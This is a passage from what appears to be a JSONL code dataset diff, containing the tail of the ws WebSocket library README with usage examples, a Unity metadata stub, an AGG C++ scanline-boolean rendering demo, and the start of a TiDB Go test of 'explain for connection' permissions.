});\n});\n```\n\nSetting `mask`, as done for the send options above, will cause the data to be\nmasked according to the WebSocket protocol. The same option applies for text\ndata.\n\n### Server example\n\n```js\nvar WebSocketServer = require('ws').Server\n  , wss = new WebSocketServer({ port: 8080 });\n\nwss.on('connection', function connection(ws) {\n  ws.on('message', function incoming(message) {\n    console.log('received: %s', message);\n  });\n\n  ws.send('something');\n});\n```\n\n### ExpressJS example\n\n```js\nvar server = require('http').createServer()\n  , url = require('url')\n  , WebSocketServer = require('ws').Server\n  , wss = new WebSocketServer({ server: server })\n  , express = require('express')\n  , app = express()\n  , port = 4080;\n\napp.use(function (req, res) {\n  res.send({ msg: \"hello\" });\n});\n\nwss.on('connection', function connection(ws) {\n  var location = url.parse(ws.upgradeReq.url, true);\n  // you might use location.query.access_token to authenticate or share sessions\n  // or ws.upgradeReq.headers.cookie (see http://stackoverflow.com/a/16395220/151312)\n  \n  ws.on('message', function incoming(message) {\n    console.log('received: %s', message);\n  });\n\n  ws.send('something');\n});\n\nserver.on('request', app);\nserver.listen(port, function () { console.log('Listening on ' + server.address().port) });\n```\n\n### Server sending broadcast data\n\n```js\nvar WebSocketServer = require('ws').Server\n  , wss = new WebSocketServer({ port: 8080 });\n\nwss.broadcast = function broadcast(data) {\n  wss.clients.forEach(function each(client) {\n    client.send(data);\n  });\n};\n```\n\n### Error handling best practices\n\n```js\n// If the WebSocket is closed before the following send is attempted\nws.send('something');\n\n// Errors (both immediate and async write errors) can be detected in an optional\n// callback. The callback is also the only way of being notified that data has\n// actually been sent.\nws.send('something', function ack(error) {\n  // if error is not defined, the send has been completed,\n  // otherwise the error object will indicate what failed.\n});\n\n// Immediate errors can also be handled with try/catch-blocks, but **note** that\n// since sends are inherently asynchronous, socket write failures will *not* be\n// captured when this technique is used.\ntry { ws.send('something'); }\ncatch (e) { /* handle error */ }\n```\n\n### echo.websocket.org demo\n\n```js\nvar WebSocket = require('ws');\nvar ws = new WebSocket('ws://echo.websocket.org/', {\n  protocolVersion: 8, \n  origin: 'http://websocket.org'\n});\n\nws.on('open', function open() {\n  console.log('connected');\n  ws.send(Date.now().toString(), {mask: true});\n});\n\nws.on('close', function close() {\n  console.log('disconnected');\n});\n\nws.on('message', function message(data, flags) {\n  console.log('Roundtrip time: ' + (Date.now() - parseInt(data)) + 'ms', flags);\n\n  setTimeout(function timeout() {\n    ws.send(Date.now().toString(), {mask: true});\n  }, 500);\n});\n```\n\n### Browserify users\nWhen including ws via a browserify bundle, ws returns global.WebSocket which has slightly different API. \nYou should use the standard WebSockets API instead.\n\nhttps://developer.mozilla.org/en-US/docs/WebSockets/Writing_WebSocket_client_applications#Availability_of_WebSockets\n\n\n### Other examples\n\nFor a full example with a browser client communicating with a ws server, see the\nexamples folder.\n\nNote that the usage together with Express 3.0 is quite different from Express\n2.x. The difference is expressed in the two different serverstats-examples.\n\nOtherwise, see the test cases.\n\n### Running the tests\n\n```\nmake test\n```\n\n## API Docs\n\nSee [`/doc/ws.md`](https://github.com/websockets/ws/blob/master/doc/ws.md) for Node.js-like docs for the ws classes.\n\n## Changelog\n\nWe're using the GitHub [`releases`](https://github.com/websockets/ws/releases) for changelog entries.\n\n## License\n\n(The MIT License)\n\nCopyright (c) 2011 Einar Otto Stangvik <einaros@gmail.com>\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n'Software'), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n[archive]: http://web.archive.org/web/20130314230536/http://hobbycoding.posterous.com/the-fastest-websocket-module-for-nodejs\n"}
+{"text": "fileFormatVersion: 2\nguid: 279d6effa1ba4d8ebd726c6cfcb2b87b\ntimeCreated: 1592884241"}
+{"text": "#include \n#include \"agg_basics.h\"\n#include \"agg_rendering_buffer.h\"\n#include \"agg_rasterizer_scanline_aa.h\"\n#include \"agg_scanline_u.h\"\n#include \"agg_scanline_p.h\"\n#include \"agg_scanline_bin.h\"\n#include \"agg_renderer_scanline.h\"\n#include \"agg_renderer_primitives.h\"\n#include \"agg_span_solid.h\"\n#include \"agg_conv_curve.h\"\n#include \"agg_conv_stroke.h\"\n#include \"agg_gsv_text.h\"\n#include \"agg_scanline_boolean_algebra.h\"\n#include \"agg_scanline_storage_aa.h\"\n#include \"agg_scanline_storage_bin.h\"\n#include \"platform/agg_platform_support.h\"\n\n#include \"ctrl/agg_slider_ctrl.h\"\n#include \"ctrl/agg_cbox_ctrl.h\"\n#include \"ctrl/agg_rbox_ctrl.h\"\n\n#define AGG_BGR24\n//#define AGG_BGR96\n#include \"pixel_formats.h\"\n\nenum flip_y_e { flip_y = true };\n\n\n\n\nclass spiral\n{\npublic:\n    spiral(double x, double y, double r1, double r2, double step, double start_angle=0) :\n        m_x(x), \n        m_y(y), \n        m_r1(r1), \n        m_r2(r2), \n        m_step(step), \n        m_start_angle(start_angle),\n        m_angle(start_angle),\n        m_da(agg::deg2rad(4.0)),\n        m_dr(m_step / 90.0)\n    {\n    }\n\n    void rewind(unsigned) \n    { \n        m_angle = m_start_angle; \n        m_curr_r = m_r1; \n        m_start = true; \n    }\n\n    unsigned vertex(double* x, double* y)\n    {\n        if(m_curr_r > m_r2) return agg::path_cmd_stop;\n\n        *x = m_x + cos(m_angle) * m_curr_r;\n        *y = m_y + sin(m_angle) * m_curr_r;\n        m_curr_r += m_dr;\n        m_angle += m_da;\n        if(m_start) \n        {\n            m_start = false;\n            return agg::path_cmd_move_to;\n        }\n        return agg::path_cmd_line_to;\n    }\n\nprivate:\n    double m_x;\n    double m_y;\n    double m_r1;\n    double m_r2;\n    double m_step;\n    double m_start_angle;\n\n    double m_angle;\n    double m_curr_r;\n    double m_da;\n    double m_dr;\n    bool   m_start;\n};\n\n\n\ntemplate \nunsigned count_spans(Rasterizer& ras, Scanline& sl)\n{\n    unsigned n = 0;\n    if(ras.rewind_scanlines())\n    {\n        sl.reset(ras.min_x(), ras.max_x());\n        while(ras.sweep_scanline(sl))\n        {\n            n += sl.num_spans();\n        }\n    }\n    return n;\n}\n\n\n\nvoid make_gb_poly(agg::path_storage& ps);\nvoid make_arrows(agg::path_storage& ps);\n\n\nclass the_application : public agg::platform_support\n{\n    agg::rbox_ctrl m_polygons;\n    agg::rbox_ctrl m_fill_rule;\n    agg::rbox_ctrl m_scanline_type;\n    agg::rbox_ctrl m_operation;\n    double m_x;\n    double m_y;\n\npublic:\n    the_application(agg::pix_format_e format, bool flip_y) :\n        agg::platform_support(format, flip_y),\n        m_polygons     (5.0,     5.0, 5.0+205.0,   110.0,  !flip_y),\n        m_fill_rule    (200,     5.0, 200+105.0,    50.0,  !flip_y),\n        m_scanline_type(300,     5.0, 300+115.0,    70.0,  !flip_y),\n        m_operation    (535.0,   5.0, 535.0+115.0, 145.0,  !flip_y)\n    {\n        m_operation.add_item(\"None\");\n        m_operation.add_item(\"OR\");\n        m_operation.add_item(\"AND\");\n        m_operation.add_item(\"XOR Linear\");\n        m_operation.add_item(\"XOR Saddle\");\n        m_operation.add_item(\"A-B\");\n        m_operation.add_item(\"B-A\");\n        m_operation.cur_item(2);\n        add_ctrl(m_operation);\n        m_operation.no_transform();\n\n        m_fill_rule.add_item(\"Even-Odd\");\n        m_fill_rule.add_item(\"Non Zero\");\n        m_fill_rule.cur_item(1);\n        add_ctrl(m_fill_rule);\n        m_fill_rule.no_transform();\n\n        m_scanline_type.add_item(\"scanline_p\");\n        m_scanline_type.add_item(\"scanline_u\");\n        m_scanline_type.add_item(\"scanline_bin\");\n        m_scanline_type.cur_item(1);\n        add_ctrl(m_scanline_type);\n        m_scanline_type.no_transform();\n\n        m_polygons.add_item(\"Two Simple Paths\");\n        m_polygons.add_item(\"Closed Stroke\");\n        m_polygons.add_item(\"Great Britain and Arrows\");\n        m_polygons.add_item(\"Great Britain and Spiral\");\n        m_polygons.add_item(\"Spiral and Glyph\");\n        m_polygons.cur_item(3);\n        add_ctrl(m_polygons);\n        m_polygons.no_transform();\n    }\n\n\n\n\n    template\n    void render_scanline_boolean(Rasterizer& ras1, Rasterizer& ras2)\n    {\n        if(m_operation.cur_item() > 0)\n        {\n            agg::sbool_op_e op;\n            switch(m_operation.cur_item())\n            {\n                case 1: op = agg::sbool_or;        break;\n                case 2: op = agg::sbool_and;       break;\n                case 3: op = agg::sbool_xor;       break;\n                case 4: op = agg::sbool_xor_saddle;break;\n                case 5: op = agg::sbool_a_minus_b; break;\n                case 6: op = agg::sbool_b_minus_a; break;\n            }\n\n            typedef agg::renderer_base renderer_base;\n            pixfmt pixf(rbuf_window());\n            renderer_base rb(pixf);\n\n            double t1 = 0.0;\n            double t2 = 0.0;\n            unsigned num_spans = 0;\n\n            switch(m_scanline_type.cur_item())\n            {\n                case 0:\n                {\n                    typedef agg::renderer_scanline_aa_solid renderer_solid;\n                    typedef agg::scanline_p8 scanline_type;\n\n                    renderer_solid ren(rb);\n\n                    scanline_type sl;\n                    scanline_type sl1;\n                    scanline_type sl2;\n\n                    // The intermediate storage is used only to test the perfoprmance,\n                    // the short variant can be as follows:\n                    // ------------------------\n                    // ren.color(agg::rgba(0.5, 0.0, 0, 0.5));\n                    // agg::sbool_combine_shapes_aa(op, ras1, ras2, sl1, sl2, sl, ren);\n\n                    agg::scanline_storage_aa8 storage;\n                    agg::scanline_storage_aa8 storage1;\n                    agg::scanline_storage_aa8 storage2;\n\n                    agg::render_scanlines(ras1, sl, storage1);\n                    agg::render_scanlines(ras2, sl, storage2);\n    \n                    start_timer();\n                    for(int i = 0; i < 10; i++)\n                    {\n                        agg::sbool_combine_shapes_aa(op, storage1, storage2, sl1, sl2, sl, storage);\n                    }\n                    t1 = elapsed_time() / 10.0;\n\n                    start_timer();\n                    ren.color(agg::rgba(0.5, 0.0, 0, 0.5));\n                    agg::render_scanlines(storage, sl, ren);\n                    t2 = elapsed_time();\n\n                    num_spans = count_spans(storage, sl);\n                }\n                break;\n\n                case 1:\n                {\n                    typedef agg::renderer_scanline_aa_solid renderer_solid;\n                    typedef agg::scanline_u8 scanline_type;\n\n                    renderer_solid ren(rb);\n\n                    scanline_type sl;\n                    scanline_type sl1;\n                    scanline_type sl2;\n                    agg::scanline_storage_aa8 storage;\n                    agg::scanline_storage_aa8 storage1;\n                    agg::scanline_storage_aa8 storage2;\n\n                    agg::render_scanlines(ras1, sl, storage1);\n                    agg::render_scanlines(ras2, sl, storage2);\n    \n                    start_timer();\n                    for(int i = 0; i < 10; i++)\n                    {\n                        agg::sbool_combine_shapes_aa(op, storage1, storage2, sl1, sl2, sl, storage);\n                    }\n                    t1 = elapsed_time() / 10.0;\n\n                    start_timer();\n                    ren.color(agg::rgba(0.5, 0.0, 0, 0.5));\n                    agg::render_scanlines(storage, sl, ren);\n                    t2 = elapsed_time();\n\n                    num_spans = count_spans(storage, sl);\n                }\n                break;\n\n\n                case 2:\n                {\n                    typedef agg::renderer_scanline_bin_solid renderer_solid;\n                    typedef agg::scanline_bin scanline_type;\n\n                    renderer_solid ren(rb);\n\n                    scanline_type sl;\n                    scanline_type sl1;\n                    scanline_type sl2;\n\n                    agg::scanline_storage_bin storage;\n                    agg::scanline_storage_bin storage1;\n                    agg::scanline_storage_bin storage2;\n\n                    agg::render_scanlines(ras1, sl, storage1);\n                    agg::render_scanlines(ras2, sl, storage2);\n    \n                    start_timer();\n                    for(int i = 0; i < 10; i++)\n                    {\n                        agg::sbool_combine_shapes_bin(op, storage1, storage2, sl1, sl2, sl, storage);\n                    }\n                    t1 = elapsed_time() / 10.0;\n\n                    start_timer();\n                    ren.color(agg::rgba(0.5, 0.0, 0, 0.5));\n                    agg::render_scanlines(storage, sl, ren);\n                    t2 = elapsed_time();\n\n                    num_spans = count_spans(storage, sl);\n                }\n                break;\n\n            }\n\n\n            char buf[100];\n            sprintf(buf, \"Combine=%.3fms\\n\\nRender=%.3fms\\n\\nnum_spans=%d\", t1, t2, num_spans);\n            agg::renderer_scanline_aa_solid ren(rb);\n            agg::scanline_p8 sl;\n            agg::gsv_text txt;\n            agg::conv_stroke txt_stroke(txt);\n            txt_stroke.width(1.0);\n            txt_stroke.line_cap(agg::round_cap);\n            txt.size(8.0);\n            txt.start_point(420, 40);\n            txt.text(buf);\n            ras1.add_path(txt_stroke);\n            ren.color(agg::rgba(0.0, 0.0, 0.0));\n            agg::render_scanlines(ras1, sl, ren);\n\n        \n        }\n    }\n\n\n\n\n    template\n    unsigned render_sbool(Rasterizer& ras1, Rasterizer& ras2)\n    {\n        pixfmt pf(rbuf_window());\n        agg::renderer_base rb(pf);\n        agg::renderer_scanline_aa_solid > ren(rb);\n        agg::scanline_p8 sl;\n\n        ras1.filling_rule(m_fill_rule.cur_item() ? agg::fill_non_zero : agg::fill_even_odd);\n        ras2.filling_rule(m_fill_rule.cur_item() ? agg::fill_non_zero : agg::fill_even_odd);\n\n        switch(m_polygons.cur_item())\n        {\n            case 0:\n            {\n                //------------------------------------\n                // Two simple paths\n                //\n                agg::path_storage ps1;\n                agg::path_storage ps2;\n\n                double x = m_x - initial_width()/2 + 100;\n                double y = m_y - initial_height()/2 + 100;\n                ps1.move_to(x+140, y+145);\n                ps1.line_to(x+225, y+44);\n                ps1.line_to(x+296, y+219);\n                ps1.close_polygon();\n\n                ps1.line_to(x+226, y+289);\n                ps1.line_to(x+82,  y+292);\n\n                ps1.move_to(x+220, y+222);\n                ps1.line_to(x+363, y+249);\n                ps1.line_to(x+265, y+331);\n\n                ps1.move_to(x+242, y+243);\n                ps1.line_to(x+325, y+261);\n                ps1.line_to(x+268, y+309);\n\n                ps1.move_to(x+259, y+259);\n                ps1.line_to(x+273, y+288);\n                ps1.line_to(x+298, y+266);\n\n                ps2.move_to(100+32,  100+77);\n                ps2.line_to(100+473, 100+263);\n                ps2.line_to(100+351, 100+290);\n                ps2.line_to(100+354, 100+374);\n\n                ras1.reset();\n                ras1.add_path(ps1);\n                ren.color(agg::rgba(0, 0, 0, 0.1));\n                agg::render_scanlines(ras1, sl, ren);\n\n                ras2.reset();\n                ras2.add_path(ps2);\n                ren.color(agg::rgba(0, 0.6, 0, 0.1));\n                agg::render_scanlines(ras2, sl, ren);\n\n                render_scanline_boolean(ras1, ras2);\n            }\n            break;\n\n            case 1:\n            {\n                //------------------------------------\n                // Closed stroke\n                //\n                agg::path_storage ps1;\n                agg::path_storage ps2;\n                agg::conv_stroke stroke(ps2);\n                stroke.width(15.0);\n\n                double x = m_x - initial_width()/2 + 100;\n                double y = m_y - initial_height()/2 + 100;\n                ps1.move_to(x+140, y+145);\n                ps1.line_to(x+225, y+44);\n                ps1.line_to(x+296, y+219);\n                ps1.close_polygon();\n\n                ps1.line_to(x+226, y+289);\n                ps1.line_to(x+82,  y+292);\n\n                ps1.move_to(x+220-50, y+222);\n                ps1.line_to(x+363-50, y+249);\n                ps1.line_to(x+265-50, y+331);\n                ps1.close_polygon();\n\n                ps2.move_to(100+32,  100+77);\n                ps2.line_to(100+473, 100+263);\n                ps2.line_to(100+351, 100+290);\n                ps2.line_to(100+354, 100+374);\n                ps2.close_polygon();\n\n                ras1.reset();\n                ras1.add_path(ps1);\n                ren.color(agg::rgba(0, 0, 0, 0.1));\n                agg::render_scanlines(ras1, sl, ren);\n\n                ras2.reset();\n                ras2.add_path(stroke);\n                ren.color(agg::rgba(0, 0.6, 0, 0.1));\n                agg::render_scanlines(ras2, sl, ren);\n\n                render_scanline_boolean(ras1, ras2);\n            }\n            break;\n\n\n            case 2:\n            {\n                //------------------------------------\n                // Great Britain and Arrows\n                //\n                agg::path_storage gb_poly;\n                agg::path_storage arrows;\n                make_gb_poly(gb_poly);\n                make_arrows(arrows);\n\n                agg::trans_affine mtx1;\n                agg::trans_affine mtx2;\n                mtx1 *= agg::trans_affine_translation(-1150, -1150);\n                mtx1 *= agg::trans_affine_scaling(2.0);\n\n                mtx2 = mtx1;\n                mtx2 *= agg::trans_affine_translation(m_x - initial_width()/2, \n                                                      m_y - initial_height()/2);\n\n                agg::conv_transform trans_gb_poly(gb_poly, mtx1);\n                agg::conv_transform trans_arrows(arrows, mtx2);\n\n                ras2.add_path(trans_gb_poly);\n                ren.color(agg::rgba(0.5, 0.5, 0, 0.1));\n                agg::render_scanlines(ras2, sl, ren);\n\n                agg::conv_stroke > stroke_gb_poly(trans_gb_poly);\n                stroke_gb_poly.width(0.1);\n                ras1.add_path(stroke_gb_poly);\n                ren.color(agg::rgba(0, 0, 0));\n                agg::render_scanlines(ras1, sl, ren);\n        \n                ras2.add_path(trans_arrows);\n                ren.color(agg::rgba(0.0, 0.5, 0.5, 0.1));\n                agg::render_scanlines(ras2, sl, ren);\n\n                ras1.reset();\n                ras1.add_path(trans_gb_poly);\n\n                render_scanline_boolean(ras1, ras2);\n            }\n            break;\n\n\n            case 3:\n            {\n                //------------------------------------\n                // Great Britain and a Spiral\n                //\n                spiral sp(m_x, m_y, 10, 150, 30, 0.0);\n                agg::conv_stroke stroke(sp);\n                stroke.width(15.0);\n\n                agg::path_storage gb_poly;\n                make_gb_poly(gb_poly);\n\n                agg::trans_affine mtx;\n                mtx *= agg::trans_affine_translation(-1150, -1150);\n                mtx *= agg::trans_affine_scaling(2.0);\n                mtx *= trans_affine_resizing();\n\n                agg::conv_transform trans_gb_poly(gb_poly, mtx);\n\n\n                ras1.add_path(trans_gb_poly);\n                ren.color(agg::rgba(0.5, 0.5, 0, 0.1));\n                agg::render_scanlines(ras1, sl, ren);\n\n                agg::conv_stroke > stroke_gb_poly(trans_gb_poly);\n                stroke_gb_poly.width(0.1);\n                ras1.reset();\n                ras1.add_path(stroke_gb_poly);\n                ren.color(agg::rgba(0, 0, 0));\n                agg::render_scanlines(ras1, sl, ren);\n        \n                ras2.reset();\n                ras2.add_path(stroke);\n                ren.color(agg::rgba(0.0, 0.5, 0.5, 0.1));\n                agg::render_scanlines(ras2, sl, ren);\n\n                ras1.reset();\n                ras1.add_path(trans_gb_poly);\n                render_scanline_boolean(ras1, ras2);\n            }\n            break;\n\n\n            case 4:\n            {\n                //------------------------------------\n                // Spiral and glyph\n                //\n                spiral sp(m_x, m_y, 10, 150, 30, 0.0);\n                agg::conv_stroke stroke(sp);\n                stroke.width(15.0);\n\n                agg::path_storage glyph;\n                glyph.move_to(28.47, 6.45);\n                glyph.curve3(21.58, 1.12, 19.82, 0.29);\n                glyph.curve3(17.19, -0.93, 14.21, -0.93);\n                glyph.curve3(9.57, -0.93, 6.57, 2.25);\n                glyph.curve3(3.56, 5.42, 3.56, 10.60);\n                glyph.curve3(3.56, 13.87, 5.03, 16.26);\n                glyph.curve3(7.03, 19.58, 11.99, 22.51);\n                glyph.curve3(16.94, 25.44, 28.47, 29.64);\n                glyph.line_to(28.47, 31.40);\n                glyph.curve3(28.47, 38.09, 26.34, 40.58);\n                glyph.curve3(24.22, 43.07, 20.17, 43.07);\n                glyph.curve3(17.09, 43.07, 15.28, 41.41);\n                glyph.curve3(13.43, 39.75, 13.43, 37.60);\n                glyph.line_to(13.53, 34.77);\n                glyph.curve3(13.53, 32.52, 12.38, 31.30);\n                glyph.curve3(11.23, 30.08, 9.38, 30.08);\n                glyph.curve3(7.57, 30.08, 6.42, 31.35);\n                glyph.curve3(5.27, 32.62, 5.27, 34.81);\n                glyph.curve3(5.27, 39.01, 9.57, 42.53);\n                glyph.curve3(13.87, 46.04, 21.63, 46.04);\n                glyph.curve3(27.59, 46.04, 31.40, 44.04);\n                glyph.curve3(34.28, 42.53, 35.64, 39.31);\n                glyph.curve3(36.52, 37.21, 36.52, 30.71);\n                glyph.line_to(36.52, 15.53);\n                glyph.curve3(36.52, 9.13, 36.77, 7.69);\n                glyph.curve3(37.01, 6.25, 37.57, 5.76);\n                glyph.curve3(38.13, 5.27, 38.87, 5.27);\n                glyph.curve3(39.65, 5.27, 40.23, 5.62);\n                glyph.curve3(41.26, 6.25, 44.19, 9.18);\n                glyph.line_to(44.19, 6.45);\n                glyph.curve3(38.72, -0.88, 33.74, -0.88);\n                glyph.curve3(31.35, -0.88, 29.93, 0.78);\n                glyph.curve3(28.52, 2.44, 28.47, 6.45);\n                glyph.close_polygon();\n\n                glyph.move_to(28.47, 9.62);\n                glyph.line_to(28.47, 26.66);\n                glyph.curve3(21.09, 23.73, 18.95, 22.51);\n                glyph.curve3(15.09, 20.36, 13.43, 18.02);\n                glyph.curve3(11.77, 15.67, 11.77, 12.89);\n                glyph.curve3(11.77, 9.38, 13.87, 7.06);\n                glyph.curve3(15.97, 4.74, 18.70, 4.74);\n                glyph.curve3(22.41, 4.74, 28.47, 9.62);\n                glyph.close_polygon();\n\n                agg::trans_affine mtx;\n                mtx *= agg::trans_affine_scaling(4.0);\n                mtx *= agg::trans_affine_translation(220, 200);\n                agg::conv_transform trans(glyph, mtx);\n                agg::conv_curve > curve(trans);\n\n                ras1.reset();\n                ras1.add_path(stroke);\n                ren.color(agg::rgba(0, 0, 0, 0.1));\n                agg::render_scanlines(ras1, sl, ren);\n\n                ras2.reset();\n                ras2.add_path(curve);\n                ren.color(agg::rgba(0, 0.6, 0, 0.1));\n                agg::render_scanlines(ras2, sl, ren);\n\n                render_scanline_boolean(ras1, ras2);\n            }\n            break;\n        }\n\n        return 0;\n    }\n\n\n    virtual void on_init()\n    {\n        m_x = width() / 2.0;\n        m_y = height() / 2.0;\n    }\n\n    virtual void on_draw()\n    {\n        typedef agg::renderer_base base_ren_type;\n        typedef agg::renderer_scanline_aa_solid renderer_solid;\n\n        pixfmt pf(rbuf_window());\n        base_ren_type ren_base(pf);\n        renderer_solid ren_solid(ren_base);\n        ren_base.clear(agg::rgba(1,1,1));\n\n        agg::scanline_u8 sl;\n        agg::rasterizer_scanline_aa<> ras;\n        agg::rasterizer_scanline_aa<> ras2;\n\n        agg::render_ctrl(ras, sl, ren_base, m_polygons);\n        agg::render_ctrl(ras, sl, ren_base, m_fill_rule);\n        agg::render_ctrl(ras, sl, ren_base, m_scanline_type);\n        agg::render_ctrl(ras, sl, ren_base, m_operation);\n\n        render_sbool(ras, ras2);\n\n    }\n\n\n\n\n    virtual void on_mouse_button_down(int x, int y, unsigned flags)\n    {\n        if(flags & agg::mouse_left)\n        {\n            m_x = x;\n            m_y = y;\n            force_redraw();\n        }\n\n        if(flags & agg::mouse_right)\n        {\n            char buf[100];\n            sprintf(buf, \"%d %d\", x, y);\n            message(buf);\n        }\n    }\n\n\n    virtual void on_mouse_move(int x, int y, unsigned flags)\n    {\n        if(flags & agg::mouse_left)\n        {\n            m_x = x;\n            m_y = y;\n            force_redraw();\n        }\n    }\n\n\n\n};\n\n\n\nint agg_main(int argc, char* argv[])\n{\n    the_application app(pix_format, flip_y);\n    app.caption(\"AGG Example. Scanline Boolean\");\n\n    if(app.init(655, 520, agg::window_resize))\n    {\n        return app.run();\n    }\n    return 1;\n}\n\n\n"}
+{"text": "// Copyright 2019 PingCAP, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage executor_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"math\"\n\t\"strconv\"\n\t\"sync\"\n\n\t. \"github.com/pingcap/check\"\n\t\"github.com/pingcap/parser/auth\"\n\t\"github.com/pingcap/tidb/planner/core\"\n\t\"github.com/pingcap/tidb/session\"\n\t\"github.com/pingcap/tidb/util\"\n\t\"github.com/pingcap/tidb/util/israce\"\n\t\"github.com/pingcap/tidb/util/kvcache\"\n\t\"github.com/pingcap/tidb/util/testkit\"\n)\n\n// mockSessionManager is a mocked session manager which is used for test.\ntype mockSessionManager1 struct {\n\tPS []*util.ProcessInfo\n}\n\n// ShowProcessList implements the SessionManager.ShowProcessList interface.\nfunc (msm *mockSessionManager1) ShowProcessList() map[uint64]*util.ProcessInfo {\n\tret := make(map[uint64]*util.ProcessInfo)\n\tfor _, item := range msm.PS {\n\t\tret[item.ID] = item\n\t}\n\treturn ret\n}\n\nfunc (msm *mockSessionManager1) GetProcessInfo(id uint64) (*util.ProcessInfo, bool) {\n\tfor _, item := range msm.PS {\n\t\tif item.ID == id {\n\t\t\treturn item, true\n\t\t}\n\t}\n\treturn &util.ProcessInfo{}, false\n}\n\n// Kill implements the SessionManager.Kill interface.\nfunc (msm *mockSessionManager1) Kill(cid uint64, query bool) {\n\n}\n\nfunc (msm *mockSessionManager1) UpdateTLSConfig(cfg *tls.Config) {\n}\n\nfunc (s *testSerialSuite) TestExplainFor(c *C) {\n\ttkRoot := testkit.NewTestKitWithInit(c, s.store)\n\ttkUser := testkit.NewTestKitWithInit(c, s.store)\n\ttkRoot.MustExec(\"create table t1(c1 int, c2 int)\")\n\ttkRoot.MustExec(\"create table t2(c1 int, c2 int)\")\n\ttkRoot.MustExec(\"create user tu@'%'\")\n\ttkRoot.Se.Auth(&auth.UserIdentity{Username: \"root\", Hostname: \"localhost\", CurrentUser: true, AuthUsername: \"root\", AuthHostname: \"%\"}, nil, []byte(\"012345678901234567890\"))\n\ttkUser.Se.Auth(&auth.UserIdentity{Username: \"tu\", Hostname: \"localhost\", CurrentUser: true, AuthUsername: \"tu\", AuthHostname: \"%\"}, nil, []byte(\"012345678901234567890\"))\n\n\ttkRoot.MustExec(\"set @@tidb_enable_collect_execution_info=0;\")\n\ttkRoot.MustQuery(\"select * from t1;\")\n\ttkRootProcess := tkRoot.Se.ShowProcess()\n\tps := []*util.ProcessInfo{tkRootProcess}\n\ttkRoot.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\ttkUser.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\ttkRoot.MustQuery(fmt.Sprintf(\"explain for connection %d\", tkRootProcess.ID)).Check(testkit.Rows(\n\t\t\"TableReader_5 10000.00 root  data:TableFullScan_4\",\n\t\t\"└─TableFullScan_4 10000.00 cop[tikv] table:t1 keep order:false, stats:pseudo\",\n\t))\n\ttkRoot.MustExec(\"set @@tidb_enable_collect_execution_info=1;\")\n\ttkRoot.MustQuery(\"select * from t1;\")\n\ttkRootProcess = tkRoot.Se.ShowProcess()\n\tps = []*util.ProcessInfo{tkRootProcess}\n\ttkRoot.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\ttkUser.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\trows := tkRoot.MustQuery(fmt.Sprintf(\"explain for connection %d\", tkRootProcess.ID)).Rows()\n\tc.Assert(len(rows), Equals, 2)\n\tc.Assert(len(rows[0]), Equals, 9)\n\tbuf := bytes.NewBuffer(nil)\n\tfor i, row := range rows {\n\t\tif i > 0 {\n\t\t\tbuf.WriteString(\"\\n\")\n\t\t}\n\t\tfor j, v := range row {\n\t\t\tif j > 0 {\n\t\t\t\tbuf.WriteString(\" \")\n\t\t\t}\n\t\t\tbuf.WriteString(fmt.Sprintf(\"%v\", v))\n\t\t}\n\t}\n\tc.Assert(buf.String(), Matches, \"\"+\n\t\t\"TableReader_5 10000.00 0 root  time:.*, loops:1, cop_task:.*num: 1, max:.*, proc_keys: 0, rpc_num: 1, rpc_time: .* data:TableFullScan_4 N/A N/A\\n\"+\n\t\t\"└─TableFullScan_4 10000.00 0 cop.* table:t1 time:.*, loops:0 keep order:false, stats:pseudo N/A N/A\")\n\terr := tkUser.ExecToErr(fmt.Sprintf(\"explain for connection %d\", tkRootProcess.ID))\n\tc.Check(core.ErrAccessDenied.Equal(err), IsTrue)\n\terr = tkUser.ExecToErr(\"explain for connection 42\")\n\tc.Check(core.ErrNoSuchThread.Equal(err), IsTrue)\n\n\ttkRootProcess.Plan = nil\n\tps = []*util.ProcessInfo{tkRootProcess}\n\ttkRoot.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\ttkRoot.MustExec(fmt.Sprintf(\"explain for connection %d\", tkRootProcess.ID))\n}\n\nfunc (s *testSerialSuite) TestIssue11124(c *C) {\n\ttk := testkit.NewTestKitWithInit(c, s.store)\n\ttk2 := testkit.NewTestKitWithInit(c, s.store)\n\ttk.MustExec(\"set @@tidb_enable_collect_execution_info=0;\")\n\ttk.MustExec(\"drop table if exists kankan1\")\n\ttk.MustExec(\"drop table if exists kankan2\")\n\ttk.MustExec(\"create table kankan1(id int, name text);\")\n\ttk.MustExec(\"create table kankan2(id int, h1 text);\")\n\ttk.MustExec(\"insert into kankan1 values(1, 'a'), (2, 'a');\")\n\ttk.MustExec(\"insert into kankan2 values(2, 'z');\")\n\ttk.MustQuery(\"select t1.id from kankan1 t1 left join kankan2 t2 on t1.id = t2.id where (case  when t1.name='b' then 'case2' when t1.name='a' then 'case1' else NULL end) = 'case1'\")\n\ttkRootProcess := tk.Se.ShowProcess()\n\tps := 